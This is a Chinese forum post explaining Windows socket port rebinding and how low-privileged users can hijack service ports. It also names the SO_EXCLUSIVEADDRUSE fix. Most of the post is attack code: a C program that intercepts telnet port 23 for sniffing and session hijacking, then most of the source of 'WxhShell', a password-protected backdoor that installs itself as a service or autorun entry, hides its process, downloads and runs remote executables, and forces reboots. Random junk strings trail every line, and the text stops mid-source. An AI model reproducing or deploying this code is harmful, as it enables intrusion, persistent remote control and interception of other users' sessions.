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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HO[wTB|D]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ET[k pL  
TOoQZTI  
  saddr.sin_family = AF_INET; r\blyWi  
k%E2n:|*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $2u 'N:o  
WdnIp!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JqMDqPIQ  
%zSuK8kxV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fwBRWr9  
 OX"j#  
  这意味着什么?意味着可以进行如下的攻击: Dgx8\~(E'  
:OW ;?{ ~j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x3u4v~ "-  
XXh6^@H=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KX}Rr7a  
RKPD4e>%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |U_]vMq  
IN,(y aC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v$=QA:!U  
P0$e~=Q^4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,9P:Draxs`  
ixV0|P8,c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r YF #^  
i,|0@Vy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OQ,NOiNkap  
?_v{| YI=  
  #include V13BB44  
  #include ** +e7k   
  #include RGK8'i/X  
  #include    Q6XRsFc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a&k_=/X&  
  int main() lt_']QqU  
  { Q7g>4GZC  
  WORD wVersionRequested; 5bA)j!#)|X  
  DWORD ret; TO-nD>  
  WSADATA wsaData; ,:%"-`a%  
  BOOL val; ) /v6l  
  SOCKADDR_IN saddr; >y}M.Mm  
  SOCKADDR_IN scaddr; %eJGt e-  
  int err; qVdwfT{1J  
  SOCKET s; B}eA\O4}I  
  SOCKET sc; UK{irU|\  
  int caddsize; F {B\kq8  
  HANDLE mt; &<+ A((/i  
  DWORD tid;   3mSXWl^?  
  wVersionRequested = MAKEWORD( 2, 2 ); &E M\CjKv"  
  err = WSAStartup( wVersionRequested, &wsaData ); (D 9Su^:1  
  if ( err != 0 ) { @rHK( 25+d  
  printf("error!WSAStartup failed!\n"); #_B-4sm  
  return -1; [y0O{,lI  
  } Dk='+\  
  saddr.sin_family = AF_INET; sO5?aB&  
   J -ePE7i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @G:V  
q|%(3,)ig  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zz^F k&  
  saddr.sin_port = htons(23); 5P .qXA"D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JMCW}bA  
  { qiZO _=0  
  printf("error!socket failed!\n"); gh>>Ibf  
  return -1; 1lsLJ4P  
  } C_ \q?>  
  val = TRUE; gaf$uT2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @A+RVg*=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \V>?Do7  
  { +`sv91c  
  printf("error!setsockopt failed!\n"); !J =sk4T  
  return -1; )I\=BPo|B  
  } ||zb6|7I4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; : iiw3#]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >I<r)w]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (Z}>1WRju  
nkv(~ej(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @vMA=v7a  
  { kqb0>rYa   
  ret=GetLastError(); 9 C{;h  
  printf("error!bind failed!\n"); !;Jmg  
  return -1; BI:k#jO!  
  } *0_yT$  
  listen(s,2); 9=,uq;  
  while(1) zyg:nKQW  
  { m>}8'N)  
  caddsize = sizeof(scaddr); nr)c!8  
  //接受连接请求 63!rUB!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c>1RP5vx  
  if(sc!=INVALID_SOCKET) ZvGgmLN  
  { \]9.zlB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !m(4F(!"h  
  if(mt==NULL) D{v8q)5r  
  { `p'Q7m2y/b  
  printf("Thread Creat Failed!\n"); 7n o5b] \  
  break; 3@n>*7/E  
  } +m}Pmi$  
  } 1G7b%yPA  
  CloseHandle(mt); < pTTo  
  } s!+"yK  
  closesocket(s); 4Iq'/r  
  WSACleanup(); y{9~&r  
  return 0; [0OJdY4  
  }   $^ 'aCU0C  
  DWORD WINAPI ClientThread(LPVOID lpParam) B$KwkhMe  
  { WhBpv(q}.  
  SOCKET ss = (SOCKET)lpParam; D^U: ih  
  SOCKET sc; 7B3w\  
  unsigned char buf[4096]; #&8}<8V  
  SOCKADDR_IN saddr; L0%hnA@  
  long num; !'=15&5@  
  DWORD val; }<jb vCeK  
  DWORD ret; dP]1tAO,y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {m8+Wju}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K={qU[_O  
  saddr.sin_family = AF_INET; ZAuWx@}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qpJ{2Q  
  saddr.sin_port = htons(23); Q/I)V2a1i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nH !3(X*  
  { }]UB;id'  
  printf("error!socket failed!\n"); : t$l.+B  
  return -1; U"f ??y%)  
  } S<nq8Ebmw  
  val = 100; mqfO4"lt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A\Txb_x  
  { @^ ik[9^H  
  ret = GetLastError(); Ovw[b2ii  
  return -1; WqrgRpM{  
  } MYe HS   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dz#5q-r  
  { kHc<*L_ V  
  ret = GetLastError(); JM.XH7k  
  return -1; 'rb'7=z5  
  } .r+hERcB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2h {q h  
  { E3/:.t  
  printf("error!socket connect failed!\n"); ;oH ,~|K  
  closesocket(sc); 9H]_4?aX  
  closesocket(ss); 3}1ssU"T  
  return -1; 1on'^8]0  
  } s|bM%!$1  
  while(1) (/ " &  
  { ?v}Bd!'+P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *oI*-C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bVr*h2 p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z< b"`ty.  
  num = recv(ss,buf,4096,0); 4\ /*jA  
  if(num>0) G&eP5'B4i  
  send(sc,buf,num,0); t@?u  
  else if(num==0) SKY*.IW/Z  
  break; 3b[jwCt  
  num = recv(sc,buf,4096,0); |4Ck;gg!j  
  if(num>0) 9O,,m~B  
  send(ss,buf,num,0); k /EDc533d  
  else if(num==0) %bb~Y"  
  break; VY 1vXM3y  
  } qBk``!|s]  
  closesocket(ss); oCi ~P}r  
  closesocket(sc); *HM?YhR  
  return 0 ; ,je`YEC  
  } J#3{S]* v_  
L$v^afP?  
B`#h{)[  
========================================================== $<)Yyi>6E  
ekf$dgoR  
下边附上一个代码,,WXhSHELL _q>SE1j+W=  
Y^ve:Z  
========================================================== pF=g||gS  
H ;@!?I  
#include "stdafx.h" y@ek=fT%4  
m)?5}ZwAH  
#include <stdio.h> 1ywU@].6J]  
#include <string.h> J_#R 87  
#include <windows.h> 0_<Nc/(P  
#include <winsock2.h> j;P+_Hfe/E  
#include <winsvc.h> s0LA^2U  
#include <urlmon.h> ^gro=Bp(  
S9Y[4*//  
#pragma comment (lib, "Ws2_32.lib") YwT-T,oD  
#pragma comment (lib, "urlmon.lib") _EYB 8e  
FJM;X-UOY  
#define MAX_USER   100 // 最大客户端连接数 &b C}3D  
#define BUF_SOCK   200 // sock buffer sJr5t?  
#define KEY_BUFF   255 // 输入 buffer KAA3iA@>+  
FY;+PY@I{  
#define REBOOT     0   // 重启 >X Qv?5  
#define SHUTDOWN   1   // 关机 ,qFA\cO*  
~0tdfK0c  
#define DEF_PORT   5000 // 监听端口 L0h G  
1-;?0en&0  
#define REG_LEN     16   // 注册表键长度 \x\.  
#define SVC_LEN     80   // NT服务名长度 uVU`tDzd:  
udqge?Tz  
// 从dll定义API Aa(<L$e!`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m24v@?*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +GNWF% zN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (7q^FtjA#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r)l`  
[ F([  
// wxhshell配置信息 wgd<3 X  
struct WSCFG { _3^y|_!  
  int ws_port;         // 监听端口 I^0 t2[M  
  char ws_passstr[REG_LEN]; // 口令 <DiOWi  
  int ws_autoins;       // 安装标记, 1=yes 0=no . 5hp0L}  
  char ws_regname[REG_LEN]; // 注册表键名 bcJ@-i0V  
  char ws_svcname[REG_LEN]; // 服务名 8cr NOZS6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 saK;[&I*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (ppoW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;( K MGir  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b&t[S[P.V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2>y:N.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @5Qoi~o  
F,Fo}YQX  
}; fNhT;Bux  
c;V D}UD'  
// default Wxhshell configuration P1d,8~;  
struct WSCFG wscfg={DEF_PORT, 5j [#'3TSU  
    "xuhuanlingzhe", Sb<\-O14"  
    1, IKm&xzV-  
    "Wxhshell", %jKH?%Ih  
    "Wxhshell", ?eWJa  
            "WxhShell Service", C6k4g75U2  
    "Wrsky Windows CmdShell Service", ?n*fy  
    "Please Input Your Password: ", &6"P7X  
  1, lCFU1 GHH  
  "http://www.wrsky.com/wxhshell.exe", _nX%#/{  
  "Wxhshell.exe" .ewZV9P)t  
    }; $pu3Ig$^  
1mUTtYU  
// 消息定义模块  nP_=GI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x0x $  9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zc\S$+PM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,olwwv_8G  
char *msg_ws_ext="\n\rExit."; @\!!t{y  
char *msg_ws_end="\n\rQuit."; F.KrZ3%4iB  
char *msg_ws_boot="\n\rReboot..."; fPE?hG<x  
char *msg_ws_poff="\n\rShutdown..."; ^CQ1I0  
char *msg_ws_down="\n\rSave to "; PNmF}"  
#S?c ;3-  
char *msg_ws_err="\n\rErr!"; .Vh*Z<9S4  
char *msg_ws_ok="\n\rOK!"; |3@=CE7G  
i[=C_+2  
char ExeFile[MAX_PATH]; FGVb@=TO>  
int nUser = 0; u5E/m  
HANDLE handles[MAX_USER]; X% J%A-k]  
int OsIsNt; 2v^lD('  
,P{ HE8.  
SERVICE_STATUS       serviceStatus; v72,h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?'+8[OHiF^  
FW^.m?}|  
// 函数声明 n0FYfqH  
int Install(void); /+P5)q TKL  
int Uninstall(void); N9*UMVU  
int DownloadFile(char *sURL, SOCKET wsh); zlMlMyG4  
int Boot(int flag); wb+<a  
void HideProc(void); W?PWJkIw  
int GetOsVer(void); 0WS|~?OR@  
int Wxhshell(SOCKET wsl); BGpk&.J  
void TalkWithClient(void *cs); uHrb:X!q  
int CmdShell(SOCKET sock); sX~45u \  
int StartFromService(void); 51/sTx<Z}  
int StartWxhshell(LPSTR lpCmdLine); Vj7Hgc-,  
ohTd'+Lm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C 38XQLC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NEg>lIu<~  
IDmsz  
// 数据结构和表定义 SY8U"Qc;9  
SERVICE_TABLE_ENTRY DispatchTable[] = R9E6uz.j  
{ `t9.xB#Z  
{wscfg.ws_svcname, NTServiceMain}, !&0a<~ Wi  
{NULL, NULL} )8]3kQffJ=  
}; kpT>G$s~gy  
;(`e^IVf  
// 自我安装 ~9i qD  
int Install(void) 8q*";>*  
{ MBv/  
  char svExeFile[MAX_PATH]; LH.%\TMN$  
  HKEY key; i0i`k^bA  
  strcpy(svExeFile,ExeFile); w=$'Lt!  
JP_kQ  
// 如果是win9x系统,修改注册表设为自启动 N4+g("  
if(!OsIsNt) { L`pY27 |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M%;"c?g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kraVL%72  
  RegCloseKey(key); %O Fj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _M&{^d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2b~ HHVruX  
  RegCloseKey(key);  L,%Z9  
  return 0; f:FpyCo=9  
    } :4]J2U\@  
  } JQH7ZaN  
} }_vM&.GFlL  
else { F b2p(.  
XP4jZCt9  
// 如果是NT以上系统,安装为系统服务 U>1b9G"_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mR!rn^<l  
if (schSCManager!=0) E6JV}`hSk  
{ [nC4/V+-  
  SC_HANDLE schService = CreateService V:QdQ;c  
  ( `M6YblnJZ  
  schSCManager, A_]D~HH  
  wscfg.ws_svcname, $BaK'7=3*  
  wscfg.ws_svcdisp, TL]bY'%  
  SERVICE_ALL_ACCESS, `_ 0)kdu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YjL t&D:IZ  
  SERVICE_AUTO_START, W`5a:"Vg  
  SERVICE_ERROR_NORMAL, oB3q AP  
  svExeFile, m"q/,}DR  
  NULL, }eI`Qg  
  NULL, pbFYiu+  
  NULL, e-jw^   
  NULL, CY5w$E  
  NULL wU.'_SBfB  
  ); *n;>p_#  
  if (schService!=0) ` )]lUvR  
  { +L n M\n  
  CloseServiceHandle(schService); m.Twgin  
  CloseServiceHandle(schSCManager); :5G$d%O=2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4"z;CGE7  
  strcat(svExeFile,wscfg.ws_svcname); a /QIJ*0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `{%-*f^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v/ eB,p  
  RegCloseKey(key); Jtext%"eNg  
  return 0; {DSyV:   
    } 6G$/NW=L  
  } ;i/"$K  
  CloseServiceHandle(schSCManager); /jvO XS\M  
} c'xUJhEL  
} QW,cn7  
>b3@>W  
return 1; VmMh+)UZ  
} (26Bs':M~  
qih6me8C  
// 自我卸载 Z%KL[R}^w;  
int Uninstall(void) 4YBf ~Pp  
{ |c=d;+  
  HKEY key; )4Bwt`VX  
+&(J n  
if(!OsIsNt) { <Ak:8&$O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8b{U tT  
  RegDeleteValue(key,wscfg.ws_regname); f8R+7Ykx  
  RegCloseKey(key); sN;(/O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *1i?6$[ "  
  RegDeleteValue(key,wscfg.ws_regname); {a[&#Uv  
  RegCloseKey(key); 2$iw/ r  
  return 0; >J9IRAm}sc  
  } ysL0hwir  
} j1W bD7*8  
} *m iONc  
else { D\n>*x  
,zc"udpKF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bJANZn|H  
if (schSCManager!=0) H&w(]PDh  
{ #j\*Lc"Ur:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $#TID=  
  if (schService!=0) o.p+j  
  { s z;=mMr/Z  
  if(DeleteService(schService)!=0) { md.*  
  CloseServiceHandle(schService); hT\p)w  
  CloseServiceHandle(schSCManager); zwKg  
  return 0; t>XZ 3  
  }  fF\*v  
  CloseServiceHandle(schService); )J{.Cx<E  
  } 58qaA\iw  
  CloseServiceHandle(schSCManager); o-L|"3 P  
} ^ b=5 6~[  
} EPQ&?[6  
M4R%Gr,La  
return 1; M0Lon/%  
} b(g_.1[  
w2.qT+; v  
// 从指定url下载文件 ": mCZUt  
int DownloadFile(char *sURL, SOCKET wsh) @>d&5}F_>{  
{ pZyb  
  HRESULT hr; GjG{qR  
char seps[]= "/"; c& 9+/JYMo  
char *token; [3Wsc`Q  
char *file; 'SsPx&)l  
char myURL[MAX_PATH]; P9 W<gIO  
char myFILE[MAX_PATH]; S~]8K8"sT  
n P0Ziu'{  
strcpy(myURL,sURL); kxcgOjrmI  
  token=strtok(myURL,seps); se4w~\/  
  while(token!=NULL) F! |TW6)gv  
  { `HE>%=]b  
    file=token; jB}_Slh1j  
  token=strtok(NULL,seps); :_W 0Af09  
  } gvow\9{|C  
8:;u v7p  
GetCurrentDirectory(MAX_PATH,myFILE); k#{lt-a/  
strcat(myFILE, "\\"); 9\\@I =;  
strcat(myFILE, file); ~ nLkn#Z  
  send(wsh,myFILE,strlen(myFILE),0); T2c_vY   
send(wsh,"...",3,0); J"m%q\'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {s9y@c*15.  
  if(hr==S_OK) ]L5Z=.z&  
return 0; AJJ%gxqGq  
else >FK)p   
return 1; ,Y78Q  
w*|=k~z  
} Sn{aHH  
r4]hS`X~%  
// 系统电源模块 mtiO7w"M\7  
int Boot(int flag) ' lQ  
{ 3j[w -Lfp  
  HANDLE hToken; #n6FQ$l8m  
  TOKEN_PRIVILEGES tkp; *y":@T  
j TB<E=WC  
  if(OsIsNt) { %fex uy4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wN/*|?`Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G}Qk!r  
    tkp.PrivilegeCount = 1; vV$hGS(f~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p*(U*8Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M ,.0[+  
if(flag==REBOOT) { )'/nS$\E:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j\jL[hG_  
  return 0; x mrugNRg  
} WrIL]kJw^  
else { >*<6 zQf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +73=2.C0  
  return 0; =:ya;k&  
} ,?7xb]h  
  } e0G}$ as  
  else { FVvv   
if(flag==REBOOT) { 'p|Iwtjn>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oF 1W}DtA  
  return 0; khKv5K#)  
} cq@_*:~Or  
else { gKm@B{rC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U_ N5~#9   
  return 0; 5<:VJC<  
} E)rOlh7  
} O,V6hU/ *  
}]Gi@Nh|o  
return 1; >yPFL'  
} =2vMw]  
/eU1(oo&`5  
// win9x进程隐藏模块 *'AS^2'  
void HideProc(void) ]iE.fQ?;J  
{ jx5[bUp4u  
lN][xnP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  01UR  
  if ( hKernel != NULL ) ^J*G%*  
  { o\=i0HR9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ib""Fv7{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q|Pt>4c5?  
    FreeLibrary(hKernel); a@V/sh  
  } 8f6;y1!;  
U||w6:W5  
return; 7am/X.  
} >TQBRA;'  
GP7) m  
// 获取操作系统版本 >TY5ZRB  
int GetOsVer(void) fW4cHB 9|  
{ [iO$ c]!H  
  OSVERSIONINFO winfo; ,;+91lR3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P(YG@  
  GetVersionEx(&winfo); NP<F==,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HIWmh4o/.  
  return 1; 0F0Q=dZ  
  else ;ow~vO,x  
  return 0; 3A}nNHpN  
} j~,LoGuPh  
DESViQM  
// 客户端句柄模块 LGo@F;!n  
int Wxhshell(SOCKET wsl) +~i+k~{`H  
{ 0:B^  
  SOCKET wsh; mrLx]og,  
  struct sockaddr_in client; 057G;u/  
  DWORD myID; 8.;';[  
P9tQS"Rs  
  while(nUser<MAX_USER) /qz "I-a  
{ |au qj2  
  int nSize=sizeof(client); M_e$l`"G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *|gs-<[#X  
  if(wsh==INVALID_SOCKET) return 1; u6S0t?Udap  
4htSwK+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ==jw3_W  
if(handles[nUser]==0) &8_#hne_  
  closesocket(wsh); R{OE{8;  
else ;~gd<KK  
  nUser++; cf[u%{ 6Y  
  } $ DZQdhv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1N$gE  
]Re~V{uh  
  return 0; sG1]A:_<C  
} ap$ tu3j  
YaJ{"'}  
// 关闭 socket x 1xj\O  
void CloseIt(SOCKET wsh) ~q_+;W.  
{ @y\{<X.F\1  
closesocket(wsh); vo( j@+dz  
nUser--; ?lwQne8/  
ExitThread(0); kj3o1Y  
} u0 oYb_Yv  
M6hvi(!X2  
// 客户端请求句柄 vb"dX0)<  
void TalkWithClient(void *cs) /4B4IT  
{ >K|GLP  
)Y,?r[4{  
  SOCKET wsh=(SOCKET)cs; {EoyMJgz  
  char pwd[SVC_LEN]; noUZ9M|hz  
  char cmd[KEY_BUFF]; ,I&0#+}n  
char chr[1]; %}ApO{  
int i,j; EAd:`X,Y  
=Z>V}`n  
  while (nUser < MAX_USER) { -ynLuq#1A  
L5k>;|SA  
if(wscfg.ws_passstr) { (8-lDoW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0-~6} r$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o? O,nD 6  
  //ZeroMemory(pwd,KEY_BUFF); ^B!?;\4IM  
      i=0; ;Y|~!%2~  
  while(i<SVC_LEN) { 5fx,rtY2sQ  
> v!c\  
  // 设置超时 n\"LN3  
  fd_set FdRead; 7" STS7_  
  struct timeval TimeOut; $H:h(ia:  
  FD_ZERO(&FdRead); Qdr-GODx  
  FD_SET(wsh,&FdRead); :%b2;&A[  
  TimeOut.tv_sec=8; LI|HET_  
  TimeOut.tv_usec=0; U1HD~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C94UF7al  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'iISbOM  
6j"I5,-~!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hC, -9c  
  pwd=chr[0]; nk3<]u  
  if(chr[0]==0xd || chr[0]==0xa) { aCi^^}!  
  pwd=0; X@AkA9'fq  
  break; s^?sJUj  
  } qD%&\ZT  
  i++; -b>O4_N  
    } b}L,kT  
%FWfiFV|<  
  // 如果是非法用户,关闭 socket (F '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8~Hs3\Hp  
} )>M@hIV5>  
'-]BSU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qddT9U|8~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %V1T !<  
(:Hbtr I  
while(1) { &aAo:pj  
-%V-'X5  
  ZeroMemory(cmd,KEY_BUFF); U9fF;[g  
4x{ti5Y0  
      // 自动支持客户端 telnet标准   S1= JdN  
  j=0; ODvpMt:+  
  while(j<KEY_BUFF) { jG(~9P7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U4L=3T+:[  
  cmd[j]=chr[0]; {i}Q}OgYq  
  if(chr[0]==0xa || chr[0]==0xd) { ftU5 A@(T  
  cmd[j]=0; Hr*Pi3dSI  
  break; <d&)|W  
  } W>wi;Gf#  
  j++; 2-c0/?_4  
    } d~Ry>   
H'\EA(v+  
  // 下载文件 Bpo68%dx89  
  if(strstr(cmd,"http://")) { Cl.T'A$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {5IG3'  
  if(DownloadFile(cmd,wsh)) Y4qyy\}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jsaCnm>&  
  else [gdPHXs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BI^]juH-c  
  } Uu:v4a  
  else { OHnjI> /  
\Y[)bo6s  
    switch(cmd[0]) { 5t#]lg[06'  
  GXlg%  
  // 帮助 /P"\ +Qp  
  case '?': { :QL p`s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pvUoed\  
    break; :Sn3|`HDm  
  } FY S83uq0  
  // 安装 [=F |^KL  
  case 'i': { Jo$Dxa z  
    if(Install()) ;/q6^Nk3A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vl~   
    else }Q^a.`h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *>$)#?t  
    break; &p4<@k\L  
    } AX RNV  
  // 卸载 G5f57F  
  case 'r': { _:p_#3s$  
    if(Uninstall()) }Y ];ccT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tRBK1h  
    else =?Md&%j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^|;4/=bbs  
    break; '0$[Ujc  
    } }F`2$ Q+CW  
  // 显示 wxhshell 所在路径 jF_I4H  
  case 'p': { ",V5*1w  
    char svExeFile[MAX_PATH]; &E`Z_} ~  
    strcpy(svExeFile,"\n\r"); ~WXxVm*@  
      strcat(svExeFile,ExeFile); }V;]c~Q/H  
        send(wsh,svExeFile,strlen(svExeFile),0); ^tcBxDC"]  
    break; X )s7_  
    } *Y0,d`  
  // 重启 nnl9I4-O  
  case 'b': { O~'yP @&`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J\D3fh97-  
    if(Boot(REBOOT)) $QBUnLOek&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z35Rjhj9  
    else { $-fY8V3[  
    closesocket(wsh); 1ZFSz{  
    ExitThread(0); E"&9FxS]^  
    } jUSr t)o03  
    break; >! .9g  
    } mxA )r5sx  
  // 关机 <XrGr5=BV  
  case 'd': { x.Ml~W[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p=gUcO8  
